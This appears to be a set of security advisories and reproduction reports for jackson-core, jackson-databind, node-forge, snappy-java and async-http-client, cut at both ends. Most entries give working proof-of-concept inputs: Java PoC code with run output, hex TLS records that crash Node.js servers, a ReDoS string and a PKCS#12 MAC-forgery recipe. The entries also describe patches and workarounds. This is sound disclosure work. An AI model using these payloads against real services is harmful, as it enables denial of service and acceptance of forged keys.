p.nextToken(); p.nextToken(); } catch (JsonParseException e) { message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage(); } catch (IOException e) { message = "(stream ended: " + e + ")"; } long elapsedMs = (System.nanoTime() - t0) / 1_000_000; long heapAfter = usedHeap(); int msgLen = message == null ? -1 : message.length(); System.out.println("Exception message length: " + msgLen + " characters"); System.out.println("Elapsed time: " + elapsedMs + " ms"); System.out.println("Approx additional heap used: " + ((heapAfter - heapBefore) / (1024 * 1024)) + " MB"); System.out.println("Message length proportional to the full " + IDENTIFIER_CHAR_COUNT + "-character payload (unbounded)? " + (msgLen > 1_000_000)); } System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ==="); { InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"), new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8")); JsonFactory factory = new JsonFactory(); JsonParser p = factory.createParser(raw); long t0 = System.nanoTime(); String message = null; try { p.nextToken(); p.nextToken(); p.nextToken(); } catch (JsonParseException e) { message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage(); } catch (IOException e) { message = "(stream ended: " + e + ")"; } long elapsedMs = (System.nanoTime() - t0) / 1_000_000; int msgLen = message == null ? -1 : message.length(); System.out.println("Exception message length: " + msgLen + " characters"); System.out.println("Elapsed time: " + elapsedMs + " ms"); System.out.println("Message length bounded near default maxErrorTokenLength (256)? " + (msgLen < 500)); } } static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) { InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle); return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix)); } static long usedHeap() { Runtime rt = Runtime.getRuntime(); System.gc(); return rt.totalMemory() - rt.freeMemory(); } } ``` ## Captured Evidence (actual run output) ``` Malformed token: "t" followed by 20000000 Java-identifier characters ('x'), then a terminating space, never completing "true"/"false"/"null"/NaN. === (a) UTF8DataInputJsonParser via createParser(DataInput) === Exception message length: 20000109 characters Elapsed time: 81 ms Approx additional heap used (best-effort, GC-noisy): 38 MB Message length is proportional to the full 20000000-character attacker payload (unbounded)? true === (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input === Exception message length: 367 characters Elapsed time: 7 ms Message length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true ``` The same 20-million-character malformed token, fed to the two parser variants, produces a 367-character message via the correctly-bounded `InputStream` path and a 20,000,109-character message via the vulnerable `DataInput` path — a difference of roughly 54,500x for identical input, confirming the missing bound is the sole cause of the difference. ## Impact Any application creating parsers via `JsonFactory.createParser(DataInput)` over attacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth from a single malformed token. Scaling the payload from the 20MB demonstrated here to gigabytes (well within a typical unbounded request body) would drive the accumulated `StringBuilder` — which additionally undergoes byte-to-char expansion and internal doubling — to consume many times the raw payload size, realistically triggering `OutOfMemoryError` and denying service to the whole JVM process. Critically, **no available configuration mitigates this**: `maxDocumentLength` cannot be set for `DataInput` sources at all, and `maxStringLength` does not apply to this code path. ## Remediation 1. Add the `maxErrorTokenLength` check to the append loop in `UTF8DataInputJsonParser._reportInvalidToken()`, appending `"..."` and breaking when the limit is reached — mirroring the three other parser implementations exactly. 2. Add a parameterized regression test across all four parser implementations asserting the exception message length is bounded by `maxErrorTokenLength` plus a small constant. 3. Consider extracting this bounded-scan logic into a single shared helper on `ParserMinimalBase` to prevent this class of per-implementation drift recurring.
### Summary `pem.decode()`, which every node-forge API that parses PEM input uses, split messages with a regular expression that takes polynomial time on input without a matching END line, and parsed encapsulated headers with regular expressions that take quadratic time on long header lines. A remote attacker can block the Node.js event loop for seconds to minutes with a crafted input of a few tens of kilobytes. Fixed in node-forge 1.4.1. ### Details `pem.decode()` in `lib/pem.js` found PEM messages with this regular expression: /\s*-----BEGIN ([A-Z0-9- ]+)-----\r?\n?([\x21-\x7e\s]+?(?:\r?\n\r?\n))?([:A-Za-z0-9+\/=\s]+?)-----END \1-----/g The optional headers group and the body group are adjacent, lazy, and share characters (whitespace and the base64 alphabet), and the match must end with an END line whose label equals the BEGIN label (`\1`). When no such END line follows, the engine tries every split of the text between the two groups, for every label split and at every BEGIN line in the input. The work grows polynomially with the input length (roughly cubic for repeated BEGIN/END lines with mismatched labels, quadratic for a BEGIN line followed by many newlines). The encapsulated header parsing in the same function had two smaller quadratic cases: trimming each header line with `/\s+$/`, and an unanchored header regex `([\x21-\x7e]+):...` that retries at every position of a long line without a colon. These are reachable when a message does match. All PEM entry points call `pem.decode()`, including `pki.certificateFromPem()`, `pki.privateKeyFromPem()`, `pki.publicKeyFromPem()`, `pki.certificationRequestFromPem()`, `pki.encryptedPrivateKeyFromPem()`, `pki.decryptRsaPrivateKey()` and `pkcs7.messageFromPem()`. The fix replaces the message regular expression with a scanner that indexes the END lines once and matches each BEGIN line in linear time, finding the same messages as before. The one difference: a label containing `-----` (`-----BEGIN A-----B-----`) was matched as `A-----B` if possible; now only the shortest label, `A`, is used. RFC 7468 labels can't contain `--`. Header parsing now trims lines with a loop and only starts a header match at the beginning of a run of printable characters, which gives the same result. #### Patches Fixed in node-forge 1.4.1. PEM messages and encapsulated headers are now parsed in linear time. #### Workarounds Rejecting untrusted PEM input larger than a few kilobytes before passing it to node-forge limits the delay but doesn't remove it: on 1.4.0, about 7 KB of crafted input blocked for 0.4 s, and 29 KB for 24 s. #### Credits Reported by Ahmed Mokhtari (@AhmedMokhtari), @mwlik and @imenyoo2, and independently by @offset, @bibu123456 (coordinated by @Kayiz-PT), and @Mucahic. ### Proof of concept var forge = require('node-forge'); var pem = ' -----BEGIN I-----G-----END B'.repeat(1000) + '\x00'; // 29 KB try { forge.pki.certificateFromPem(pem); } catch(e) {} On 1.4.0 (Node.js 24) this call blocks for about 24 seconds before throwing "Invalid PEM formatted message."; 14 KB takes about 3 seconds. A BEGIN line followed by 32 KB of newlines and no END line takes about 1.5 seconds, and the time grows quadratically from there. On 1.4.1 each of these inputs is rejected in a few milliseconds, and 1 MB inputs of any of these shapes take under 100 ms. The PoC is in tests/pocs/ghsa-7wch-p9px-956x.js. Regression tests are in tests/unit/pem.js ("GHSA-7wch-p9px-956x ReDoS checks"). ### Impact Any application that passes untrusted PEM text to node-forge is affected: for example, services that accept uploaded certificates, keys or certificate signing requests, or that parse certificates from configuration, SAML metadata or other user-supplied documents. A remote, unauthenticated attacker can send a small crafted input that blocks the Node.js event loop for seconds to minutes per request, so the process stops serving other requests. Repeated requests keep it unavailable. There is no confidentiality or integrity impact.
### Summary A connection created with `forge.tls.createConnection()` throws an uncaught `TypeError` from `process()` when it receives a record of another content type while waiting for the rest of a handshake message that was split across records. A peer can trigger this with 18 bytes before the handshake, without authentication, which terminates Node.js processes that use the documented socket wiring. Fixed in node-forge 1.4.1. ### Details In `lib/tls.js`, `_readRecord()` handles a record that arrives while a handshake message split across records is incomplete. If the record has any other content type (change_cipher_spec, alert, application_data or heartbeat), forge correctly reports "Invalid fragmented record." through `c.error()` with a fatal `unexpected_message` alert. That fatal error closes and resets the connection, which sets `c.record` to `null`. `_readRecord()` then continues with `c.record.ready = true` and throws `TypeError: Cannot set properties of null (setting 'ready')` out of `process()`. The code is unchanged since the first release. RFC 5246 section 6.2.1 allows a handshake message to be fragmented across records, and RFC 8446 section 5.1 forbids interleaving handshake messages with other record types. Failing the connection with `unexpected_message` is the intended behavior; the bug is the crash after the error. node-forge reports TLS protocol errors through the `error` callback, so applications do not normally wrap `process()` in `try`/`catch`. When `process()` is called from a Node.js socket `data` handler, as in the documented usage, the exception is uncaught and terminates the process. The fix returns from `_readRecord()` right after the fatal error. The connection is failed, the alert is sent and the `error` callback is called as before, and `process()` no longer throws. ### Patches Fixed in node-forge 1.4.1. The connection still fails with a fatal `unexpected_message` alert and the `error` callback, but `process()` no longer throws. ### Workarounds Wrap every call to `connection.process()` in `try`/`catch`. The connection has already been failed and closed when the exception is thrown, so the exception can be ignored or the socket destroyed. ### Proof of concept Input (server mode), two records, 18 bytes: 16 03 01 00 06 01 00 00 10 03 01 handshake record: ClientHello header announcing 16 bytes, 2 present 15 03 01 00 02 02 28 alert record // c = forge.tls.createConnection({server: true, ...}) c.process(forge.util.hexToBytes('1603010006010000100301' + '15030100020228')); On 1.4.0 the `error` callback receives "Invalid fragmented record.", then `process()` throws `TypeError: Cannot set properties of null (setting 'ready')`. A change_cipher_spec, application_data or heartbeat record in place of the alert has the same effect, and a client connection behaves the same with a fragment of a ServerHello. In a Node.js server that calls `c.process(data.toString('binary'))` from `socket.on('data', ...)`, a client sending these 18 bytes terminates the server process. On 1.4.1 the connection fails with a fatal `unexpected_message` alert and `process()` returns normally. Regression tests in tests/unit/tls.js, "fragmented handshake messages": each of the four other record types after a handshake fragment, in server and client mode, plus same-type continuation records that are still accepted. ### Impact Applications that use node-forge's TLS implementation: connections from `forge.tls.createConnection()`, including those created by `forge.tls.wrapSocket()` and the `forge.http` / `forge.xhr` TLS connections. Any peer that can connect to a forge TLS server, or any server a forge TLS client connects to, can send 18 bytes before the handshake, without authentication. In Node.js applications using the documented usage, the uncaught exception terminates the process, which drops every connection it serves, and the attacker can repeat it on every restart. There is no confidentiality or integrity impact.
### Summary When an `@JsonIdentityInfo` collection or map first creates N unresolved object-ID references and later resolves the same IDs in reverse order, jackson-databind scans the remaining pending-reference accumulator for each resolution. A shallow JSON document whose size grows linearly can therefore cause quadratic CPU work during deserialization. ### Details The affected path is forward-reference completion in `CollectionDeserializer.CollectionReferringAccumulator.resolveForwardReference()` and the corresponding map implementation. The implementation performs a linear search of the pending accumulator for every resolved object ID. The behavior is runtime-confirmed in jackson-databind 2.5.0, 2.22.1, and 3.2.1. Current 2.22 and 3.2 source branches retained the same design when rechecked. A 2.4.0 control fails closed before successful reverse-order completion, so 2.5.0 is the conservative runtime-confirmed affected floor. The patched versions are: 2.18.11, 2.21.7, 2.22.3, 3.1.7 and 3.2.3. The vulnerable application must deserialize attacker-influenced JSON into an identity-enabled collection or map. The issue does not require deep nesting or syntactically unusual JSON. Suggested correction: replace repeated linear lookup/removal with a keyed pending-reference structure or another design that provides linear or amortized-linear completion. A regression should preserve input order, duplicate-ID behavior, and unresolved-ID errors while bounding reverse-order resolution work. ### PoC The proof constructs a shallow collection containing N unresolved `@JsonIdentityInfo` references followed by definitions of those same IDs in reverse order. Its ID class counts `equals()` calls, giving a deterministic work measure rather than a timing-dependent result. With N=2,000, affected versions perform exactly 2,003,000 ID comparisons. An equally sized control in which every reference is already resolved performs zero comparisons in the pending-reference lookup path. The run is bounded to a 512 MiB JVM. The result demonstrates quadratic growth: approximately `N * (N + 1) / 2` comparisons, plus fixed setup comparisons. ### Impact An unauthenticated source that can submit JSON to an application using the affected identity-enabled collection or map shape can consume quadratic CPU and exhaust a request-time or worker-capacity budget, causing denial of service. The application model/configuration prerequisite is material. No confidentiality, integrity, code-execution, or parser-depth impact is claimed. Requested credit: Daniel Birtwhistle
### Impact `Snappy.uncompressCharArray`, `uncompressShortArray`, `uncompressIntArray`, `uncompressLongArray`, `uncompressFloatArray` and `uncompressDoubleArray` sized the result array by dividing the declared uncompressed byte length by the element size, but native code wrote the full byte length. If the declared length is not a multiple of the element size, up to 7 bytes are written past the end of the Java array, corrupting the heap. ### Patches Fixed in 1.1.10.9 ([#739](https://github.com/xerial/snappy-java/pull/739)). These methods now reject uncompressed lengths that are not a multiple of the element size with `SnappyIOException`. ### Workarounds Check that `Snappy.uncompressedLength(input)` is a multiple of the element size before calling these methods.
### Summary Connections created with `forge.tls.createConnection()` processed received TLS records recursively, one stack level per record. A peer can send one chunk of thousands of small records, such as heartbeat records, which are accepted before the handshake, and `process()` throws `RangeError: Maximum call stack size exceeded`, which terminates Node.js processes that use the documented socket wiring. Fixed in node-forge 1.4.1. ### Details In `lib/tls.js`, `c.process()` reads one record and passes it to `_update()`, which calls the handler for the record type from `ctTable`. Every handler (`tls.handleHeartbeat`, `tls.handleApplicationData`, `tls.handleHandshake` for fragmented messages, `tls.handleHelloRequest` and the other handshake handlers) ends by calling `c.process()` again to continue with the next buffered record, or the next message in the same record. Each record therefore adds `process` → `_update` → handler to the call stack. In Node.js 24, about 2,300 eight-byte records (under 20 KB) in one chunk are enough for `process()` to throw `RangeError: Maximum call stack size exceeded`. `ctTable` maps heartbeat records to `tls.handleHeartbeat` in every client and server state, so heartbeat records are processed before the handshake without any extension negotiation. The attack needs no authentication and no valid handshake messages. Both server connections (attacked by a client) and client connections (attacked by the server they connect to) are affected. Other record types recurse the same way: a handshake message fragmented over many records, many HelloRequest messages in one record, or many application data records after the handshake. node-forge reports TLS protocol errors through the `error` callback, so applications do not normally wrap `process()` in `try`/`catch`. When `process()` is called from a Node.js socket `data` handler, as in the documented usage, the exception is uncaught and terminates the process. If the exception is caught, the connection is left partially processed and should be discarded. No specification is violated; this is an implementation flaw (uncontrolled recursion). The fix makes `c.process()` iterative. The record-reading code moves into `_processRecord()`, and `c.process()` runs it in a loop. A handler's call to `c.process()` without new data, made while records are being processed, now only flags that the loop should continue. Calls with new data are processed right away as before, so callback order and return values are unchanged. ### Patches Fixed in node-forge 1.4.1. Records are now processed in a loop, so the stack depth no longer depends on the number of records. ### Workarounds Wrap every call to `connection.process()` in `try`/`catch`, and on an exception close the connection (`connection.close()`) and destroy the underlying socket. This prevents the process crash but not the loss of the attacked connection. ### Credits Reported jointly by Ziyue Wang, Chenchen, Strick Sheng, Liyi Zhou, and Maurice Ng. ### Proof of concept Input: one chunk of N identical heartbeat records, each 8 bytes: 18 03 01 00 03 01 00 00 (content type 24 = heartbeat, TLS 1.0, length 3, heartbeat_request with a 0-byte payload) // c = forge.tls.createConnection({server: true, ...}) var rec = forge.util.hexToBytes('1803010003010000'); c.process(new Array(5001).join(rec)); // 5,000 records, 40,000 bytes On 1.4.0 (Node.js 24), `process()` throws `RangeError: Maximum call stack size exceeded` after about 2,300 records, before any handshake. The same happens for a client connection. In a Node.js server that calls `c.process(data.toString('binary'))` from `socket.on('data', ...)`, a client sending these 40,000 bytes terminates the server process. On 1.4.1 all records are processed and the server keeps running. Regression tests in tests/unit/tls.js, "record processing": 50,000 heartbeat records in one call in server and client mode, a handshake message fragmented over 50,000 records, many HelloRequest messages per record, and checks that byte-by-byte input and exceptions from callbacks behave as before. ### Impact Applications that use node-forge's TLS implementation: connections from `forge.tls.createConnection()`, including those created by `forge.tls.wrapSocket()` and the `forge.http` / `forge.xhr` TLS connections, which call `process()` on received data. Any peer that can connect to a forge TLS server, or any server a forge TLS client connects to, can send a small chunk of records (under 20 KB) without authentication. In Node.js applications using the documented usage, the uncaught exception terminates the process, which drops every connection it serves; repeated chunks keep it down. In browsers the impact is limited to the attacked connection. There is no confidentiality or integrity impact.
### Summary forge.pkcs12.pkcs12FromAsn1() accepts a PKCS#12 MAC iteration count of zero (or less) from the input, and the PKCS#12 key derivation function then returns a constant key that does not depend on the password or salt. An attacker who does not know the password can modify a PKCS#12/PFX file and compute a MAC that verifies with any password; PKCS#12 PBE-encrypted private keys prepared the same way decrypt with any password. Fixed in node-forge 1.4.1. ### Details `p12.pkcs12FromAsn1()` in `lib/pkcs12.js` reads the MAC iteration count (`MacData.iterations`) from the input and passes it to the PKCS#12 key derivation function `pki.pbe.generatePkcs12Key()` in `lib/pbe.js` (also exposed as `forge.pkcs12.generateKey()`) without checking that it is at least 1. The key derivation function (RFC 7292 Appendix B.2) runs its hash loop `iter` times. With an iteration count of 0 (or an empty or negative INTEGER), no hashing is done and the function returns the PKCS#12 diversifier ID byte repeated, for example `0x03` repeated 20 times for an HMAC-SHA1 MAC key. The result does not depend on the password or the salt, so anyone can compute a valid MAC over arbitrary PFX contents. The same key derivation function is used by `pki.pbe.getCipherForPKCS12PBE()` for the PKCS#12 password-based encryption schemes `pbeWithSHAAnd3-KeyTripleDES-CBC` and `pbewithSHAAnd40BitRC2-CBC`, whose `pkcs-12PbeParams` iteration count is also read from the input. With an iteration count of 0 or less, the encryption key and IV are constants (`0x01` and `0x02` repeated). This is reached from shrouded key bags and encrypted SafeContents in `pkcs12FromAsn1()`, and from `forge.pki.decryptPrivateKeyInfo()` (for example for `ENCRYPTED PRIVATE KEY` PEM input). RFC 7292 defines `MacData` with `iterations INTEGER DEFAULT 1`; an iteration count only makes sense as 1 or more (RFC 8018 uses `INTEGER (1..MAX)` for the same concept). PBES2 (PBKDF2) encrypted content is not affected. The fix rejects iteration counts less than 1 when verifying a PKCS#12 MAC in `pkcs12FromAsn1()` ("PKCS#12 MAC iteration count must be >= 1.") and at the entry of `pki.pbe.generatePkcs12Key()` ("PKCS#12 key derivation iteration count must be >= 1."), which covers the MAC, both PKCS#12 PBE schemes and direct `forge.pkcs12.generateKey()` callers. ### Patches Fixed in node-forge 1.4.1. Iteration counts less than 1 are now rejected when verifying a PKCS#12 MAC and in the PKCS#12 key derivation function. ### Workarounds Before calling `forge.pkcs12.pkcs12FromAsn1()`, reject inputs whose `MacData.iterations` is present and less than 1. For encrypted private keys using the PKCS#12 PBE schemes, there is no simple workaround other than checking the `pkcs-12PbeParams` iteration count before decryption, or upgrading. ### Credits Reported by Thai, Calif.io in collaboration with Claude and Anthropic Research. ### Proof of concept Take any PKCS#12/PFX file, replace its AuthenticatedSafe with attacker-chosen content (for example the attacker's certificate and an unencrypted private key), set `MacData.iterations` to 0 (DER `02 01 00`), and compute the HMAC-SHA1 over the new content with the key `0x03` repeated 20 times. On node-forge <= 1.4.0, `forge.pkcs12.pkcs12FromAsn1(asn1, password)` reports successful MAC verification for whatever password the application supplies and returns the attacker's certificate and key. An empty or negative iteration count behaves the same way. Likewise, a shrouded key bag or `ENCRYPTED PRIVATE KEY` using `pbeWithSHAAnd3-KeyTripleDES-CBC` with iteration count 0 decrypts with any password. The constant key is visible directly: ```js var salt = new forge.util.ByteBuffer('anysalt'); forge.pkcs12.generateKey('any password', salt, 3, 0, 20).toHex(); // <= 1.4.0: '0303030303030303030303030303030303030303' // 1.4.1: throws "PKCS#12 key derivation iteration count must be >= 1." ``` The fix adds regression tests in `tests/unit/pkcs12.js` and the reporter's PoC in `tests/pocs/`. ### Impact Applications that import PKCS#12/PFX files or PKCS#8 encrypted private keys from untrusted sources with `forge.pkcs12.pkcs12FromAsn1()` or `forge.pki.decryptPrivateKeyInfo()`, and rely on the password-based MAC or on successful decryption to establish that the file was produced by someone who knows the password. The default API and call pattern are affected; no password, oracle or user interaction is needed, only one offline HMAC. An attacker can supply a PKCS#12 file with certificates and private keys of their choice (for example, replaced certificates or an unencrypted private key) that node-forge reports as verified under the application's password. The attacker does not learn the password or the original private key. PBES2 (PBKDF2) encrypted content is not affected.
## Status **FULLY REPRODUCED** with a clean, textbook empirical signature: measured runtime grew almost exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000 characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical HTTP request body) took **74.4 seconds** for one call to `NumberInput.looksLikeValidNumber()`. ## Affected Component / Version - **Package:** `com.fasterxml.jackson.core:jackson-core` - **Confirmed against:** `jackson-core-2.20.2` - **Affected file:** `src/main/java/com/fasterxml/jackson/core/io/NumberInput.java` (`PATTERN_FLOAT` line ~41-42, `PATTERN_FLOAT_TRAILING_DOT` line ~51, entry point `looksLikeValidNumber()` lines ~646-656) ## Technical Analysis ```java private final static Pattern PATTERN_FLOAT = Pattern.compile( "[+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?"); private final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile( "[+-]?[0-9]+[\\.]"); public static boolean looksLikeValidNumber(final String s) { // ... short-circuits only for null/empty/length==1 ... return PATTERN_FLOAT.matcher(s).matches() || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches(); } ``` `PATTERN_FLOAT` contains ambiguous, adjacent quantifiers over the identical character class: `[0-9]*` (optional digits), an optional `[.]`, then `[0-9]+` (required digits). Java's backtracking `Pattern`/`Matcher` engine has no possessive quantifiers or atomic grouping here, so on a non-matching input the engine must explore every possible split point between the `[0-9]*` and `[0-9]+` groups before concluding failure — the classic quadratic-backtracking shape. `looksLikeValidNumber()` compounds the cost by running a **second** full-string regex (`PATTERN_FLOAT_TRAILING_DOT`) whenever the first fails, roughly doubling the constant factor without changing the asymptotic class. Critically, the length gate that applies to this specific path is `StreamReadConstraints.maxStringLength` (default **20,000,000**), not `maxNumberLength` (default **1,000**) — the length ceiling the library uses everywhere else for numeric content. This means inputs up to four orders of magnitude larger than the library's own numeric-length policy reach this quadratic regex unmodified. ## Reproduction Procedure Same clone/build steps as `jackson-core_1_...md`. Then: ```bash CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC8_NumberInputReDoS.java java -cp "poc:$CP" PoC8_NumberInputReDoS ``` ## Full PoC Source (`poc/PoC8_NumberInputReDoS.java`) ```java import com.fasterxml.jackson.core.io.NumberInput; public class PoC8_NumberInputReDoS { public static void main(String[] args) { int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000}; long[] timesMs = new long[sizes.length]; System.out.println("Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n"); for (int i = 0; i < sizes.length; i++) { int n = sizes[i]; String s = repeat('1', n) + "x"; if (i == 0) { NumberInput.looksLikeValidNumber(repeat('1', 200) + "x"); // warm up } long t0 = System.nanoTime(); boolean result = NumberInput.looksLikeValidNumber(s); long elapsedMs = (System.nanoTime() - t0) / 1_000_000; timesMs[i] = elapsedMs; System.out.printf("n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n", n, result, elapsedMs); } System.out.println("\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):"); boolean quadraticSignatureObserved = false; for (int i = 1; i < sizes.length; i++) { double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1]; System.out.printf(" n=%d -> n=%d : %dms -> %dms (ratio=%.2fx)%n", sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio); if (ratio >= 3.0) quadraticSignatureObserved = true; } System.out.println("\nLargest test (n=" + sizes[sizes.length - 1] + ") took " + timesMs[timesMs.length - 1] + " ms for a single call from ONE HTTP-body-sized string."); System.out.println("\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) " + "governs this path, not maxNumberLength (1,000)."); if (quadraticSignatureObserved) { System.out.println("\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent " + "with quadratic backtracking in PATTERN_FLOAT on non-matching input."); } } static String repeat(char c, int n) { char[] arr = new char[n]; java.util.Arrays.fill(arr, c); return new String(arr); } } ``` ## Captured Evidence (actual run output) ``` Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n: n=5000 looksLikeValidNumber=false elapsed= 74 ms n=10000 looksLikeValidNumber=false elapsed= 306 ms n=20000 looksLikeValidNumber=false elapsed= 1157 ms n=40000 looksLikeValidNumber=false elapsed= 4655 ms n=80000 looksLikeValidNumber=false elapsed= 18592 ms n=160000 looksLikeValidNumber=false elapsed= 74393 ms Ratio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic): n=5000 -> n=10000 : 74ms -> 306ms (ratio=4.14x) n=10000 -> n=20000 : 306ms -> 1157ms (ratio=3.78x) n=20000 -> n=40000 : 1157ms -> 4655ms (ratio=4.02x) n=40000 -> n=80000 : 4655ms -> 18592ms (ratio=3.99x) n=80000 -> n=160000 : 18592ms -> 74393ms (ratio=4.00x) Largest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string. => REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic backtracking in PATTERN_FLOAT on non-matching input. ``` This is an unusually clean empirical result: five consecutive doublings each produced a ratio between 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within 5% at every single measurement, leaving essentially no ambiguity about the complexity class. Extrapolating this measured curve, a ~1MB string (well within common request body limits) would take on the order of hours for a single call. ## Impact Any application that coerces a String-typed JSON field to a number (default `jackson-databind` behavior) is exposed: an attacker who can submit a large numeric-looking string (up to `maxStringLength`'s default of 20,000,000 characters — far larger than needed given the measured curve) can pin a request-handling thread for an extended period with a single request. Because the cost scales quadratically, a handful of concurrent moderately-sized requests (tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread pool, denying service to all users. ## Remediation 1. Rewrite `PATTERN_FLOAT` without quantifier ambiguity using possessive quantifiers, e.g. `[+-]?(?:[0-9]++(?:\.[0-9]*+)?|\.[0-9]++)(?:[eE][+-]?[0-9]++)?`, which also folds in the trailing-dot case and removes the need for a second full-string scan. 2. Better: replace the regex entirely with a single-pass hand-written character scan — the same file already contains exactly this pattern for `parseInt`, so the library has both the precedent and the code style available. 3. Apply an independent length limit (`maxNumberLength`, not the much larger `maxStringLength`) before calling `looksLikeValidNumber()`, closing the four-orders-of- magnitude gap between the two constraints for this specific code path. 4. Operationally, until fixed: tighten `StreamReadConstraints.maxStringLength` well below its default, and set wall-clock timeouts on parse/coercion operations.
### Impact Several decompression paths in snappy-java allocate an output buffer sized by the uncompressed length declared in the first bytes of the compressed data, before decompressing or validating it. A few bytes of crafted input can therefore force an allocation of up to 2 GB, causing `OutOfMemoryError` (denial of service), or a `NegativeArraySizeException` for declared lengths of 2^31 or more. Affected entry points include `Snappy.uncompress(byte[])`, `Snappy.uncompressString`, the `Snappy.uncompress*Array` methods, `SnappyInputStream`, and `SnappyFramedInputStream`. The `maxChunkSize` limit added for CVE-2023-43642 bounds only the compressed chunk length, so it does not prevent this. ### Patches Fixed in 1.1.10.9 (#739). `Snappy.uncompressedLength()` now rejects negative declared lengths, and lengths larger than any valid Snappy stream of the given size can produce. The densest Snappy element expands 3 bytes to 64, so the limit is 64/3 of the compressed size. Allocations are therefore proportional to the input actually received. ### Workarounds Before decompressing untrusted data, check that `Snappy.uncompressedLength(input)` is within an application-specific limit.
### Summary With `@JsonTypeInfo(use = Id.NAME, defaultImpl = ...)`, every distinct unknown raw type ID selects the same fallback deserializer but is retained as a separate key in `TypeDeserializerBase._deserializers`. An attacker who can repeatedly supply new unknown type IDs can grow this process-lifetime cache without a configured bound. ### Details The affected path is `TypeDeserializerBase._findDeserializer()`. After an unknown name-based type ID resolves to the configured fallback/default implementation, jackson-databind caches the result under the attacker-provided raw `typeId`. Although all such IDs select the same fallback deserializer, each new string remains a distinct cache key. The behavior is runtime-confirmed in jackson-databind 2.22.1 and 3.2.1. Current 2.22 and 3.2 source branches retained the unbounded `_deserializers` map and per-raw-ID cache write when rechecked. The earlier affected floor has not been established, patched versions are: 2.18.11, 2.21.7, 2.22.3, 3.1.7 and 3.2.3. The vulnerable application must enable name-based polymorphism with a `defaultImpl` or equivalent fallback, accept attacker-influenced type IDs, and reuse a long-lived mapper/type deserializer across requests. Suggested correction: avoid caching each unknown raw ID when every such ID resolves to the same fallback, use a fallback sentinel, or use an explicitly bounded concurrency-safe cache. A regression should contrast many distinct unknown IDs with repetitions of one unknown ID across requests. ### PoC Configure a polymorphic base type with `@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, defaultImpl = Fallback.class)` and deserialize inputs containing unknown type names through the same mapper. Inspect `TypeDeserializerBase._deserializers` after the run. On affected 2.x and 3.x versions, 10,000 distinct unknown raw type IDs produce 10,000 retained cache entries even though every input selects the same fallback deserializer. A matched control that repeats one unknown ID 10,000 times produces one retained entry. This isolates attacker-controlled key cardinality from ordinary request count. ### Impact Where the stated polymorphic fallback configuration is exposed to attacker-influenced type IDs, distinct inputs cause incremental process-lifetime memory retention and eventual availability pressure or denial of service. This is not claimed as a single-request allocation spike, and no fixed bytes-per-ID or time-to-out-of-memory value is asserted. No confidentiality, integrity, or code-execution impact is claimed. Requested credit: Daniel Birtwhistle
### Impact With WebSocket compression enabled, the client inflates `permessage-deflate` messages with no limit on the decompressed size. It installed Netty's shared `WebSocketClientCompressionHandler.INSTANCE`, whose inflater is unbounded, and `webSocketMaxFrameSize` and `webSocketMaxBufferSize` only bound the compressed bytes, because the frame aggregator sits in front of the inflater. A malicious or compromised WebSocket server, or anyone on the path of a `ws://` connection, can therefore send a message of about 2 MiB that inflates to about 2 GiB, the most a Netty buffer can hold. The client then copies the inflated message again to hand it to the listener. That exhausts the heap of a typically sized JVM. Netty catches the resulting `OutOfMemoryError` and closes that connection, but while the buffer is live any other allocation in the process can fail too, and a server that keeps sending such messages, on one connection or several, keeps the client at heap exhaustion. ### Who is Impacted Only applications that enable WebSocket compression with `setEnablewebSocketCompression(true)`, which is off by default, and connect to a WebSocket server that is untrusted, compromised, or reached over cleartext `ws://`. ### Affected versions * 3.x: up to and including 3.0.13 * 2.x: from 2.2.0, when WebSocket compression was added, up to and including 2.16.1 ### Patches Fixed in 3.0.14. A new setting, `webSocketMaxDecompressedFrameSize` (`setWebSocketMaxDecompressedFrameSize`, or the `org.asynchttpclient.webSocketMaxDecompressedFrameSize` property), bounds how far a message may inflate, and a message that would go past it fails the connection. It defaults to 128000000 bytes, the same as `webSocketMaxBufferSize`, so a message is bounded alike whether or not it was compressed; a compressed message that inflates past that, which was accepted before, now fails the connection. With `aggregateWebSocketFrameFragments` turned off, the bound applies to each frame instead, and fragments are delivered one at a time. Set it lower if you enable compression and do not expect large messages. `0` disables the limit. The 2.x line is end of life and will not receive a fix. Upgrade to 3.0.14. ### Workarounds Leave WebSocket compression disabled, which is the default. ### Details After the handshake the inbound pipeline is `ws-decoder`, `ws-aggregator`, `PerMessageDeflateDecoder`, `ahc-ws`: the aggregator, which enforces `webSocketMaxBufferSize`, sees each message before it is inflated. `WebSocketClientCompressionHandler.INSTANCE` is built with `maxAllocation = 0`, which Netty treats as unbounded, and 